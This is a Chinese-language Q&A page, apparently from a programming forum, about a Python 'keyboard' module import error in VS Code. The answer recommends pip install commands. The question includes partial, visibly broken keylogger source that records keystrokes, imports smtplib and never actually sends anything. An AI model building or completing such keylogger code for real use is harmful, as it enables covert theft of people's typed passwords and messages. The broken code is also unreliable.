首页 > 解决方案 > 使用 python 和 VS Code 在“键盘”上导入错误

问题描述

我无法弄清楚为什么我的“键盘”无法在 VS Code 中导入。我在 CMD 中安装了“pip3 install keyboard”,它安装没有错误。然后我用 VS 代码打开了一个新项目,在编写了这段代码并修复了所有错误之后,它现在告诉我的键盘无法导入。这是代码

import keyboard #does the keylogs
import smtplib

from threading import Semaphore, Timer

SEND_REPORT_EVERY = 5

class Keylogger:
    def __init__(self, interval):
        self.interval = interval

        self.log = ""

        self.semaphore = Semaphore(0)
    def callback(self, event):
        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "

            elif name == "enter":
                name = "[Enter]\n"

            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        self.log += name

    def report(self):

        if self.log:
            self = open("E:\\downloads\\onjab.txt")
            self.log
            Timer(interval=self.interval, function=self.report).start()

    def start(self):
        keyboard.on_release(callback=self.callback)
        self.report()
        self.semaphore.acquire()

    if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)
    keylogger.start()

谁能帮我解决导入错误?我必须添加另一行以确保存在依赖关系吗?

标签: python

解决方案


我只是尝试keyboard使用您问题中的命令进行安装,它实际上什么也没返回。尝试使用以下命令之一:

pip install keyboard
python -m pip install keyboard

推荐阅读